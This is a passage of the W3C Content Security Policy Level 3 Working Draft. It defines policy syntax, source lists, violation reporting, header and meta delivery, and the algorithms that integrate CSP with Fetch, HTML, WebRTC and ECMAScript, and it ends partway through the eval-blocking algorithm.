Content Security Policy Level 3

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Copyright © 2024 World Wide Web Consortium. W3C® liability, trademark and permissive document license rules apply.

Abstract

This document defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions.

Status of this document

This section describes the status of this document at the time of its publication. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at https://www.w3.org/TR/.

This document was published by the Web Application Security Working Group as a Working Draft using the Recommendation track. This document is intended to become a W3C Recommendation.

The (archived) public mailing list public-webappsec@w3.org (see instructions) is preferred for discussion of this specification. When sending e-mail, please put the text “CSP3” in the subject, preferably like this: “[CSP3] …summary of comment…”

Publication as a Working Draft does not imply endorsement by W3C and its Members. This is a draft document and may be updated, replaced or obsoleted by other documents at any time. It is inappropriate to cite this document as other than work in progress.

This document was produced by the Web Application Security Working Group.

This document was produced by a group operating under the W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.

This document is governed by the 03 November 2023 W3C Process Document.

The following features are at-risk, and may be dropped during the CR period:

“At-risk” is a W3C Process term-of-art, and does not necessarily imply that the feature is in danger of being dropped or delayed. It means that the WG believes the feature may have difficulty being interoperably implemented in a timely manner, and marking it as such allows the WG to drop the feature if necessary when transitioning to the Proposed Rec stage, without having to publish a new Candidate Rec without the feature first.

1. Introduction

This section is not normative.

This document defines Content Security Policy (CSP), a tool which developers can use to lock down their applications in various ways, mitigating the risk of content injection vulnerabilities such as cross-site scripting, and reducing the privilege with which their applications execute.

CSP is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth. It reduces the harm that a malicious injection can cause, but it is not a replacement for careful input validation and output encoding.

This document is an iteration on Content Security Policy Level 2, with the goal of more clearly explaining the interactions between CSP, HTML, and Fetch on the one hand, and providing clear hooks for modular extensibility on the other. Ideally, this will form a stable core upon which we can build new functionality.

1.1. Examples

1.1.1. Control Execution

MegaCorp Inc’s developers want to protect themselves against cross-site scripting attacks. They can mitigate the risk of script injection by ensuring that their trusted CDN is the only origin from which script can load and execute. Moreover, they wish to ensure that no plugins can execute in their pages' contexts. The following policy has that effect: 
Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'

1.2. Goals

Content Security Policy aims to do to a few related things:

  1. Mitigate the risk of content-injection attacks by giving developers fairly granular control over

    • The resources which can be requested (and subsequently embedded or executed) on behalf of a specific Document or Worker

    • The execution of inline script

    • Dynamic code execution (via eval() and similar constructs)

    • The application of inline style

  2. Mitigate the risk of attacks which require a resource to be embedded in a malicious context (the "Pixel Perfect" attack described in [TIMING], for example) by giving developers granular control over the origins which can embed a given resource.

  3. Provide a policy framework which allows developers to reduce the privilege of their applications.

  4. Provide a reporting mechanism which allows developers to detect flaws being exploited in the wild.

1.3. Changes from Level 2

This document describes an evolution of the Content Security Policy Level 2 specification [CSP2]. The following is a high-level overview of the changes:

  1. The specification has been rewritten from the ground up in terms of the [FETCH] specification, which should make it simpler to integrate CSP’s requirements and restrictions with other specifications (and with Service Workers in particular).

  2. The child-src model has been substantially altered:

    1. The frame-src directive, which was deprecated in CSP Level 2, has been undeprecated, but continues to defer to child-src if not present (which defers to default-src in turn).

    2. A worker-src directive has been added, deferring to child-src if not present (which likewise defers to script-src and eventually default-src).

  3. The URL matching algorithm now treats insecure schemes and ports as matching their secure variants. That is, the source expression http://example.com:80 will match both http://example.com:80 and https://example.com:443.

    Likewise, 'self' now matches https: and wss: variants of the page’s origin, even on pages whose scheme is http.

  4. Violation reports generated from inline script or style will now report "inline" as the blocked resource. Likewise, blocked eval() execution will report "eval" as the blocked resource.

  5. The manifest-src directive has been added.

  6. The report-uri directive is deprecated in favor of the new report-to directive, which relies on [REPORTING] as infrastructure.

  7. The 'strict-dynamic' source expression will now allow script which executes on a page to load more script via non-"parser-inserted" script elements. Details are in § 8.2 Usage of "'strict-dynamic'".

  8. The 'unsafe-hashes' source expression will now allow event handlers, style attributes and javascript: navigation targets to match hashes. Details in § 8.3 Usage of "'unsafe-hashes'".

  9. The source expression matching has been changed to require explicit presence of any non-HTTP(S) scheme, rather than local scheme, unless that non-HTTP(S) scheme is the same as the scheme of protected resource, as described in § 6.7.2.8 Does url match expression in origin with redirect count?.

  10. Hash-based source expressions may now match external scripts if the script element that triggers the request specifies a set of integrity metadata which is listed in the current policy. Details in § 8.4 Allowing external JavaScript via hashes.

  11. Reports generated for inline violations will contain a sample attribute if the relevant directive contains the 'report-sample' expression.

2. Framework

2.1. Infrastructure

This document uses ABNF grammar to specify syntax, as defined in [RFC5234]. It also relies on the #rule ABNF extension defined in Section 5.6.1 of [RFC9110], with the modification that OWS is replaced with optional-ascii-whitespace. That is, the #rule used in this document is defined as:

1#element => element *( optional-ascii-whitespace "," optional-ascii-whitespace element )

and for n >= 1 and m > 1:

<n>#<m>element => element <n-1>*<m-1>( optional-ascii-whitespace "," optional-ascii-whitespace element )

This document depends on the Infra Standard for a number of foundational concepts used in its algorithms and prose [INFRA].

The following definitions are used to improve readability of other definitions in this document.

optional-ascii-whitespace = *( %x09 / %x0A / %x0C / %x0D / %x20 )
required-ascii-whitespace = 1*( %x09 / %x0A / %x0C / %x0D / %x20 )
; These productions match the definition of ASCII whitespace from the INFRA standard.

2.2. Policies

A policy defines allowed and restricted behaviors, and may be applied to a Document, WorkerGlobalScope, or WorkletGlobalScope.

Each policy has an associated directive set, which is an ordered set of directives that define the policy’s implications when applied.

Each policy has an associated disposition, which is either "enforce" or "report".

Each policy has an associated source, which is either "header" or "meta".

Each policy has an associated self-origin, which is an origin that is used when matching the 'self' keyword.

Note: This is needed to facilitate the 'self' checks of local scheme documents/workers that have inherited their policy but have an opaque origin. Most of the time this will simply be the environment settings object’s origin.

Multiple policies can be applied to a single resource, and are collected into a list of policies known as a CSP list.

A CSP list contains a header-delivered Content Security Policy if it contains a policy whose source is "header".

A serialized CSP is an ASCII string consisting of a semicolon-delimited series of serialized directives, adhering to the following ABNF grammar [RFC5234]:

serialized-policy =
    serialized-directive *( optional-ascii-whitespace ";" [ optional-ascii-whitespace serialized-directive ] )

A serialized CSP list is an ASCII string consisting of a comma-delimited series of serialized CSPs, adhering to the following ABNF grammar [RFC5234]:

serialized-policy-list = 1#serialized-policy
                    ; The '#' rule is the one defined in section 5.6.1 of RFC 9110
                    ; but it incorporates the modifications specified
                    ; in section 2.1 of this document.

2.2.1. Parse a serialized CSP

To parse a serialized CSP, given a byte sequence or string serialized, a source source, and a disposition disposition, execute the following steps.

This algorithm returns a Content Security Policy object. If serialized could not be parsed, the object’s directive set will be empty.

  1. If serialized is a byte sequence, then set serialized to be the result of isomorphic decoding serialized.

  2. Let policy be a new policy with an empty directive set, a source of source, and a disposition of disposition.

  3. For each token returned by strictly splitting serialized on the U+003B SEMICOLON character (;):

    1. Strip leading and trailing ASCII whitespace from token.

    2. If token is an empty string, or if token is not an ASCII string, continue.

    3. Let directive name be the result of collecting a sequence of code points from token which are not ASCII whitespace.

    4. Set directive name to be the result of running ASCII lowercase on directive name.

      Note: Directive names are case-insensitive, that is: script-SRC 'none' and ScRiPt-sRc 'none' are equivalent.

    5. If policy’s directive set contains a directive whose name is directive name, continue.

      Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.

    6. Let directive value be the result of splitting token on ASCII whitespace.

    7. Let directive be a new directive whose name is directive name, and value is directive value.

    8. Append directive to policy’s directive set.

  4. Return policy.

2.2.2. Parse response’s Content Security Policies

To parse a response’s Content Security Policies given a response response, execute the following steps.

This algorithm returns a list of Content Security Policy objects. If the policies cannot be parsed, the returned list will be empty.

  1. Let policies be an empty list.

  2. For each token returned by extracting header list values given Content-Security-Policy and response’s header list:

    1. Let policy be the result of parsing token, with a source of "header", and a disposition of "enforce".

    2. If policy’s directive set is not empty, append policy to policies.

  3. For each token returned by extracting header list values given Content-Security-Policy-Report-Only and response’s header list:

    1. Let policy be the result of parsing token, with a source of "header", and a disposition of "report".

    2. If policy’s directive set is not empty, append policy to policies.

  4. For each policy of policies:

    1. Set policy’s self-origin to response’s url's origin.

  5. Return policies.

Note: When parsing a response’s Content Security Policies, if the resulting policies end up containing at least one item, user agents can hold a flag on policies and use it to optimize away the contains a header-delivered Content Security Policy algorithm.

2.3. Directives

Each policy contains an ordered set of directives (its directive set), each of which controls a specific behavior. The directives defined in this document are described in detail in § 6 Content Security Policy Directives.

Each directive is a name / value pair. The name is a non-empty string, and the value is a set of non-empty strings. The value MAY be empty.

A serialized directive is an ASCII string, consisting of one or more whitespace-delimited tokens, and adhering to the following ABNF [RFC5234]:

serialized-directive = directive-name [ required-ascii-whitespace directive-value ]
directive-name       = 1*( ALPHA / DIGIT / "-" )
directive-value      = *( required-ascii-whitespace / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) )
                       ; Directive values may contain whitespace and VCHAR characters,
                       ; excluding ";" and ",". The second half of the definition
                       ; above represents all VCHAR characters (%x21-%x7E)
                       ; without ";" and "," (%x3B and %x2C respectively)

; ALPHA, DIGIT, and VCHAR are defined in Appendix B.1 of RFC 5234.

Directives have a number of associated algorithms:

  1. A pre-request check, which takes a request and a policy as an argument, and is executed during § 4.1.2 Should request be blocked by Content Security Policy?. This algorithm returns "Allowed" unless otherwise specified.

  2. A post-request check, which takes a request, a response, and a policy as arguments, and is executed during § 4.1.3 Should response to request be blocked by Content Security Policy?. This algorithm returns "Allowed" unless otherwise specified.

  3. An inline check, which takes an Element, a type string, a policy, and a source string as arguments, and is executed during § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy? and during § 4.2.4 Should navigation request of type be blocked by Content Security Policy? for javascript: requests. This algorithm returns "Allowed" unless otherwise specified.

  4. An initialization, which takes a Document or global object and a policy as arguments. This algorithm is executed during § 4.2.1 Run CSP initialization for a Document and § 4.2.6 Run CSP initialization for a global object. Unless otherwise specified, it has no effect and it returns "Allowed".

  5. A pre-navigation check, which takes a request, a navigation type string ("form-submission" or "other"), and a policy as arguments, and is executed during § 4.2.4 Should navigation request of type be blocked by Content Security Policy?. It returns "Allowed" unless otherwise specified.

  6. A navigation response check, which takes a request, a navigation type string ("form-submission" or "other"), a response, a navigable, a check type string ("source" or "response"), and a policy as arguments, and is executed during § 4.2.5 Should navigation response to navigation request of type in target be blocked by Content Security Policy?. It returns "Allowed" unless otherwise specified.

  7. A webrtc pre-connect check, which takes a policy, and is executed during § 4.3.1 Should RTC connections be blocked for global?. It returns "Allowed" unless otherwise specified.

2.3.1. Source Lists

Many directives' value consist of source lists: sets of strings which identify content that can be fetched and potentially embedded or executed. Each string represents one of the following types of source expression:

  1. Keywords such as 'none' and 'self' (which match nothing and the current URL’s origin, respectively)

  2. Serialized URLs such as https://example.com/path/to/file.js (which matches a specific file) or https://example.com/ (which matches everything on that origin)

  3. Schemes such as https: (which matches any resource having the specified scheme)

  4. Hosts such as example.com (which matches any resource on the host, regardless of scheme) or *.example.com (which matches any resource on the host’s subdomains (and any of its subdomains' subdomains, and so on))

  5. Nonces such as 'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA' (which can match specific elements on a page)

  6. Digests such as 'sha256-abcd...' (which can match specific elements on a page)

A serialized source list is an ASCII string, consisting of a whitespace-delimited series of source expressions, adhering to the following ABNF grammar [RFC5234]:

serialized-source-list = ( source-expression *( required-ascii-whitespace source-expression ) ) / "'none'"
source-expression      = scheme-source / host-source / keyword-source
                         / nonce-source / hash-source

; Schemes: "https:" / "custom-scheme:" / "another.custom-scheme:"
scheme-source = scheme-part ":"

; Hosts: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
scheme-part = scheme
              ; scheme is defined in section 3.1 of RFC 3986.
host-part   = "*" / [ "*." ] 1*host-char *( "." 1*host-char ) [ "." ]
host-char   = ALPHA / DIGIT / "-"
port-part   = 1*DIGIT / "*"
path-part   = path-absolute (but not including ";" or ",")
              ; path-absolute is defined in section 3.3 of RFC 3986.

; Keywords:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
                 / "'strict-dynamic'" / "'unsafe-hashes'" /
                 / "'report-sample'" / "'unsafe-allow-redirects'"
                 / "'wasm-unsafe-eval'"

ISSUE: Bikeshed unsafe-allow-redirects.

; Nonces: 'nonce-[nonce goes here]'
nonce-source  = "'nonce-" base64-value "'"
base64-value  = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )

; Digests: 'sha256-[digest goes here]'
hash-source    = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"

The host-char production intentionally contains only ASCII characters; internationalized domain names cannot be entered directly as part of a serialized CSP, but instead MUST be Punycode-encoded [RFC3492]. For example, the domain üüüüüü.de MUST be represented as xn--tdaaaaaa.de.

Note: Though IP address do match the grammar above, only 127.0.0.1 will actually match a URL when used in a source expression (see § 6.7.2.7 Does url match source list in origin with redirect count? for details). The security properties of IP addresses are suspect, and authors ought to prefer hostnames whenever possible.

Note: The base64-value grammar allows both base64 and base64url encoding. These encodings are treated as equivalant when processing hash-source values. Nonces, however, are strict string matches: we use the base64-value grammar to limit the characters available, and reduce the complexity for the server-side operator (encodings, etc), but the user agent doesn’t actually care about any underlying value, nor does it do any decoding of the nonce-source value.

2.4. Violations

A violation represents an action or resource which goes against the set of policy objects associated with a global object.

Each violation has a global object, which is the global object whose policy has been violated.

Each violation has a url which is its global object’s URL.

Each violation has a status which is a non-negative integer representing the HTTP status code of the resource for which the global object was instantiated.

Each violation has a resource, which is either null, "inline", "eval", "wasm-eval", "trusted-types-policy", "trusted-types-sink" or a URL. It represents the resource which violated the policy.

Note: The value null for a violation’s resource is only allowed while the violation is being populated. By the time the violation is reported and its resource is used for obtaining the blocked URI, the violation’s resource should be populated with a URL or one of the allowed strings.

Each violation has a referrer, which is either null, or a URL. It represents the referrer of the resource whose policy was violated.

Each violation has a policy, which is the policy that has been violated.

Each violation has a disposition, which is the disposition of the policy that has been violated.

Each violation has an effective directive which is a non-empty string representing the directive whose enforcement caused the violation.

Each violation has a source file, which is either null or a URL.

Each violation has a line number, which is a non-negative integer.

Each violation has a column number, which is a non-negative integer.

Each violation has a element, which is either null or an element.

Each violation has a sample, which is a string. It is the empty string unless otherwise specified.

Note: A violation’s sample will be populated with the first 40 characters of an inline script, event handler, or style that caused an violation. Violations which stem from an external file will not include a sample in the violation report.

2.4.1. Create a violation object for global, policy, and directive

Given a global object global, a policy policy, and a string directive, the following algorithm creates a new violation object, and populates it with an initial set of data:

  1. Let violation be a new violation whose global object is global, policy is policy, effective directive is directive, and resource is null.

  2. If the user agent is currently executing script, and can extract a source file’s URL, line number, and column number from the global, set violation’s source file, line number, and column number accordingly.

    Is this kind of thing specified anywhere? I didn’t see anything that looked useful in [ECMA262].

    Note: User agents need to ensure that the source file is the URL requested by the page, pre-redirects. If that’s not possible, user agents need to strip the URL down to an origin to avoid unintentional leakage.

  3. If global is a Window object, set violation’s referrer to global’s document's referrer.

  4. Set violation’s status to the HTTP status code for the resource associated with violation’s global object.

    How, exactly, do we get the status code? We don’t actually store it anywhere.

  5. Return violation.

2.4.2. Create a violation object for request, and policy.

Given a request request, a policy policy, the following algorithm creates a new violation object, and populates it with an initial set of data:

  1. Let directive be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on request’s client’s global object, policy, and directive.

  3. Set violation’s resource to request’s url.

    Note: We use request’s url, and not its current url, as the latter might contain information about redirect targets to which the page MUST NOT be given access.

  4. Return violation.

3. Policy Delivery

A server MAY declare a policy for a particular resource representation via an HTTP response header field whose value is a serialized CSP. This mechanism is defined in detail in § 3.1 The Content-Security-Policy HTTP Response Header Field and § 3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field, and the integration with Fetch and HTML is described in § 4.1 Integration with Fetch and § 4.2 Integration with HTML.

A policy may also be declared inline in an HTML document via a meta element’s http-equiv attribute, as described in § 3.3 The <meta> element.

3.1. The Content-Security-Policy HTTP Response Header Field

The Content-Security-Policy HTTP response header field is the preferred mechanism for delivering a policy from a server to a client. The header’s value is represented by the following ABNF [RFC5234]:

Content-Security-Policy = 1#serialized-policy
                    ; The '#' rule is the one defined in section 5.6.1 of RFC 9110
                    ; but it incorporates the modifications specified
                    ; in section 2.1 of this document.

Content-Security-Policy: script-src 'self';
                         report-to csp-reporting-endpoint

A server MAY send different Content-Security-Policy header field values with different representations of the same resource.

When the user agent receives a Content-Security-Policy header field, it MUST parse and enforce each serialized CSP it contains as described in § 4.1 Integration with Fetch, § 4.2 Integration with HTML.

3.2. The Content-Security-Policy-Report-Only HTTP Response Header Field

The Content-Security-Policy-Report-Only HTTP response header field allows web developers to experiment with policies by monitoring (but not enforcing) their effects. The header’s value is represented by the following ABNF [RFC5234]:

Content-Security-Policy-Report-Only = 1#serialized-policy
                    ; The '#' rule is the one defined in section 5.6.1 of RFC 9110
                    ; but it incorporates the modifications specified
                    ; in section 2.1 of this document.

This header field allows developers to piece together their security policy in an iterative fashion, deploying a report-only policy based on their best estimate of how their site behaves, watching for violation reports, and then moving to an enforced policy once they’ve gained confidence in that behavior.

Content-Security-Policy-Report-Only: script-src 'self';
                                     report-to csp-reporting-endpoint

A server MAY send different Content-Security-Policy-Report-Only header field values with different representations of the same resource.

When the user agent receives a Content-Security-Policy-Report-Only header field, it MUST parse and monitor each serialized CSP it contains as described in § 4.1 Integration with Fetch and § 4.2 Integration with HTML.

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.3. The <meta> element

A Document may deliver a policy via one or more HTML meta elements whose http-equiv attributes are an ASCII case-insensitive match for the string "Content-Security-Policy". For example:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

Implementation details can be found in HTML’s Content Security Policy state http-equiv processing instructions [HTML].

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element. Neither are the report-uri, frame-ancestors, and sandbox directives.

Authors are strongly encouraged to place meta elements as early in the document as possible, because policies in meta elements are not applied to content which precedes them. In particular, note that resources fetched or prefetched using the Link HTTP response header field, and resources fetched or prefetched using link and script elements which precede a meta-delivered policy will not be blocked.

Note: A policy specified via a meta element will be enforced along with any other policies active for the protected resource, regardless of where they’re specified. The general impact of enforcing multiple policies is described in § 8.1 The effect of multiple policies.

Note: Modifications to the content attribute of a meta element after the element has been parsed will be ignored.

4. Integrations

This section is non-normative.

This document defines a set of algorithms which are used in other specifications in order to implement the functionality. These integrations are outlined here for clarity, but those external documents are the normative references which ought to be consulted for detailed information.

4.1. Integration with Fetch

A number of directives control resource loading in one way or another. This specification provides algorithms which allow Fetch to make decisions about whether or not a particular request should be blocked or allowed, and about whether a particular response should be replaced with a network error.

  1. § 4.1.2 Should request be blocked by Content Security Policy? is called as part of step 2.4 of the Main Fetch algorithm. This allows directives' pre-request checks to be executed against each request before it hits the network, and against each redirect that a request might go through on its way to reaching a resource.

  2. § 4.1.3 Should response to request be blocked by Content Security Policy? is called as part of step 11 of the Main Fetch algorithm. This allows directives' post-request checks to be executed on the response delivered from the network or from a Service Worker.

4.1.1. Report Content Security Policy violations for request

Given a request request, this algorithm reports violations based on policy container's CSP list "report only" policies.

  1. Let CSP list be request’s policy container's CSP list.

  2. For each policy of CSP list:

    1. If policy’s disposition is "enforce", then skip to the next policy.

    2. Let violates be the result of executing § 6.7.2.1 Does request violate policy? on request and policy.

    3. If violates is not "Does Not Violate", then execute § 5.5 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request, and policy.

4.1.2. Should request be blocked by Content Security Policy?

Given a request request, this algorithm returns Blocked or Allowed and reports violations based on request’s policy container's CSP list.

  1. Let CSP list be request’s policy container's CSP list.

  2. Let result be "Allowed".

  3. For each policy of CSP list:

    1. If policy’s disposition is "report", then skip to the next policy.

    2. Let violates be the result of executing § 6.7.2.1 Does request violate policy? on request and policy.

    3. If violates is not "Does Not Violate", then:

      1. Execute § 5.5 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request, and policy.

      2. Set result to "Blocked".

  4. Return result.

4.1.3. Should response to request be blocked by Content Security Policy?

Given a response response and a request request, this algorithm returns Blocked or Allowed, and reports violations based on request’s policy container's CSP list.

  1. Let CSP list be request’s policy container's CSP list.

  2. Let result be "Allowed".

  3. For each policy of CSP list:

    1. For each directive of policy:

      1. If the result of executing directive’s post-request check is "Blocked", then:

        1. Execute § 5.5 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request, and policy.

        2. If policy’s disposition is "enforce", then set result to "Blocked".

    Note: This portion of the check verifies that the page can load the response. That is, that a Service Worker hasn’t substituted a file which would violate the page’s CSP.

  4. Return result.

4.2. Integration with HTML

  1. The policy container has a CSP list, which holds all the policy objects which are active for a given context. This list is empty unless otherwise specified, and is populated from the response by parsing response’s Content Security Policies or inherited following the rules of the policy container.

  2. A global object’s CSP list is the result of executing § 4.2.2 Retrieve the CSP list of an object with the global object as the object.

  3. A policy is enforced or monitored for a global object by inserting it into the global object’s CSP list.

  4. § 4.2.1 Run CSP initialization for a Document is called during the create and initialize a new Document object algorithm.

  5. § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy? is called during the prepare the script element and update a style block algorithms in order to determine whether or not an inline script or style block is allowed to execute/render.

  6. § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy? is called during handling of inline event handlers (like onclick) and inline style attributes in order to determine whether or not they ought to be allowed to execute/render.

  7. policy is enforced during processing of the meta element’s http-equiv.

  8. HTML populates each request’s cryptographic nonce metadata and parser metadata with relevant data from the elements responsible for resource loading.

    Stylesheet loading is not yet integrated with Fetch in WHATWG’s HTML. [Issue #whatwg/html#968]

  9. § 6.3.1.1 Is base allowed for document? is called during base's set the frozen base URL algorithm to ensure that the href attribute’s value is valid.

  10. § 4.2.4 Should navigation request of type be blocked by Content Security Policy? is called during the create navigation params by fetching algorithm, and § 4.2.5 Should navigation response to navigation request of type in target be blocked by Content Security Policy? is called during the attempt to populate the history entry’s document algorithm to apply directive’s navigation checks, as well as inline checks for navigations to javascript: URLs.

  11. § 4.2.6 Run CSP initialization for a global object is called during the run a worker algorithm.

  12. The sandbox directive is used to populate the CSP-derived sandboxing flags.

4.2.1. Run CSP initialization for a Document

Given a Document document, the user agent performs the following steps in order to initialize CSP for document:

  1. For each policy of document’s policy container's CSP list:

    1. For each directive of policy:

      1. Execute directive’s initialization algorithm on document, and assert: its returned value is "Allowed".

4.2.2. Retrieve the CSP list of an object

To obtain object’s CSP list:

  1. If object is a Document return object’s policy container's CSP list.

  2. If object is a Window or a WorkerGlobalScope or a WorkletGlobalScope, return environment settings object’s policy container's CSP list.

  3. Return null.

4.2.3. Should element’s inline type behavior be blocked by Content Security Policy?

Given an Element element, a string type, and a string source this algorithm returns "Allowed" if the element is allowed to have inline definition of a particular type of behavior (script execution, style application, event handlers, etc.), and "Blocked" otherwise:

Note: The valid values for type are "script", "script attribute", "style", and "style attribute".

  1. Assert: element is not null.

  2. Let result be "Allowed".

  3. For each policy of element’s Document's global object’s CSP list:

    1. For each directive of policy’s directive set:

      1. If directive’s inline check returns "Allowed" when executed upon element, type, policy and source, skip to the next directive.

      2. Let directive-name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.

      3. Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on the current settings object’s global object, policy, and directive-name.

      4. Set violation’s resource to "inline".

      5. Set violation’s element to element.

      6. If directive’s value contains the expression "'report-sample'", then set violation’s sample to the substring of source containing its first 40 characters.

      7. Execute § 5.5 Report a violation on violation.

      8. If policy’s disposition is "enforce", then set result to "Blocked".

  4. Return result.

4.2.4. Should navigation request of type be blocked by Content Security Policy?

Given a request navigation request and a string type (either "form-submission" or "other"), this algorithm return "Blocked" if the active policy blocks the navigation, and "Allowed" otherwise:

  1. Let result be "Allowed".

  2. For each policy of navigation request’s policy container’s CSP list:

    1. For each directive of policy:

      1. If directive’s pre-navigation check returns "Allowed" when executed upon navigation request, type, and policy skip to the next directive.

      2. Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on navigation request’s client’s global object, policy, and directive’s name.

      3. Set violation’s resource to navigation request’s URL.

      4. Execute § 5.5 Report a violation on violation.

      5. If policy’s disposition is "enforce", then set result to "Blocked".

  3. If result is "Allowed", and if navigation request’s current URL’s scheme is javascript:

    1. For each policy of navigation request’s client’s global object’s CSP list:

      1. For each directive of policy:

        1. Let directive-name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.

        2. If directive’s inline check returns "Allowed" when executed upon null, "navigation" and navigation request’s current URL, skip to the next directive.

        3. Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on navigation request’s client’s global object, policy, and directive-name.

        4. Set violation’s resource to navigation request’s URL.

        5. Execute § 5.5 Report a violation on violation.

        6. If policy’s disposition is "enforce", then set result to "Blocked".

  4. Return result.

4.2.5. Should navigation response to navigation request of type in target be blocked by Content Security Policy?

Given a request navigation request, a response navigation response, a CSP list response CSP list, a string type (either "form-submission" or "other"), and a navigable target, this algorithm returns "Blocked" if the active policy blocks the navigation, and "Allowed" otherwise:

  1. Let result be "Allowed".

  2. For each policy of response CSP list:

    Note: Some directives (like frame-ancestors) allow a response’s Content Security Policy to act on the navigation.

    1. For each directive of policy:

      1. If directive’s navigation response check returns "Allowed" when executed upon navigation request, type, navigation response, target, "response", and policy skip to the next directive.

      2. Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on null, policy, and directive’s name.

        Note: We use null for the global object, as no global exists: we haven’t processed the navigation to create a Document yet.

      3. Set violation’s resource to navigation response’s URL.

      4. Execute § 5.5 Report a violation on violation.

      5. If policy’s disposition is "enforce", then set result to "Blocked".

  3. For each policy of navigation request’s policy container’s CSP list:

    Note: Some directives in the navigation request’s context (like frame-ancestors) need the response before acting on the navigation.

    1. For each directive of policy:

      1. If directive’s navigation response check returns "Allowed" when executed upon navigation request, type, navigation response, target, "source", and policy skip to the next directive.

      2. Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on navigation request’s client’s global object, policy, and directive’s name.

      3. Set violation’s resource to navigation request’s URL.

      4. Execute § 5.5 Report a violation on violation.

      5. If policy’s disposition is "enforce", then set result to "Blocked".

  4. Return result.

4.2.6. Run CSP initialization for a global object

Given a global object global, the user agent performs the following steps in order to initialize CSP for global. This algorithm returns "Allowed" if global is allowed, and "Blocked" otherwise:

  1. Let result be "Allowed".

  2. For each policy of global’s CSP list:

    1. For each directive of policy:

      1. Execute directive’s initialization algorithm on global. If its returned value is "Blocked", then set result to "Blocked".

  3. Return result.

4.3. Integration with WebRTC

The administratively-prohibited algorithm calls § 4.3.1 Should RTC connections be blocked for global? when invoked, and prohibits all candidates if it returns "Blocked".

4.3.1. Should RTC connections be blocked for global?

Given a global object global, this algorithm returns "Blocked" if the active policy for global blocks RTC connections, and "Allowed" otherwise:

  1. Let result be "Allowed".

  2. For each policy of global’s CSP list:

    1. For each directive of policy:

      1. If directive’s webrtc pre-connect check returns "Allowed", continue.

      2. Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on global, policy, and directive’s name.

      3. Set violation’s resource to null.

      4. Execute § 5.5 Report a violation on violation.

      5. If policy’s disposition is "enforce", then set result to "Blocked".

  3. Return result.

4.4. Integration with ECMAScript

ECMAScript defines a HostEnsureCanCompileStrings() abstract operation which allows the host environment to block the compilation of strings into ECMAScript code. This document defines an implementation of that abstract operation which examines the relevant CSP list to determine whether such compilation ought to be blocked.

4.4.1. EnsureCSPDoesNotBlockStringCompilation(realm, parameterStrings, bodyString, codeString, compilationType, parameterArgs, bodyArg)

Given a realm realm, a list of strings parameterStrings, a string bodyString, a string codeString, an enum (compilationType), a list of ECMAScript language values (parameterArgs), and an ECMAScript language value (bodyArg), this algorithm returns normally if string compilation is allowed, and throws an "EvalError" if not:

  1. If compilationType is "TIMER", then:

    1. Let sourceString be codeString.

  2. Else:

    1. Let compilationSink be "Function" if compilationType is "FUNCTION", and "Eval" otherwise.

    2. Let isTrusted be true if bodyArg implements TrustedScript, and false otherwise.

    3. If isTrusted is true then:

      1. If bodyString is not equal to bodyArg’s data, set isTrusted to false.

    4. If isTrusted is true, then:

      1. Assert: parameterArgs’ [list/size=] is equal to [parameterStrings]' size.

      2. For each index of the range 0 to |parameterArgs]' [list/size=]:

        1. Let arg be parameterArgs[index].

        2. If arg implements TrustedScript, then:

          1. if parameterStrings[index] is not equal to arg’s data, set isTrusted to false.

        3. Otherwise, set isTrusted to false.

    5. Let sourceToValidate be a new TrustedScript object created in realm whose data is set to codeString if isTrusted is true, and codeString otherwise.

    6. Let sourceString be the result of executing the Get Trusted Type compliant string algorithm, with TrustedScript, realm, sourceToValidate, compilationSink, and 'script'.

    7. If the algorithm throws an error, throw an EvalError.

    8. If sourceString is not equal to codeString, throw an EvalError.

  3. Let result be "Allowed".

  4. Let global be realm’s global object.

  5. For each policy of global’s CSP list:

    1. Let source-list be null.

    2. If policy contains a directive whose name is "script-src", then set source-list to that directive's value.

      Otherwise if policy contains a directive whose name is "default-src", then set source-list to that directive’s value.

    3. If source-list is not null, and does not contain a source expression which is an ASCII case-insensitive match for the string "'unsafe-eval'", then:

      1. Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on global, policy, and "script-src".

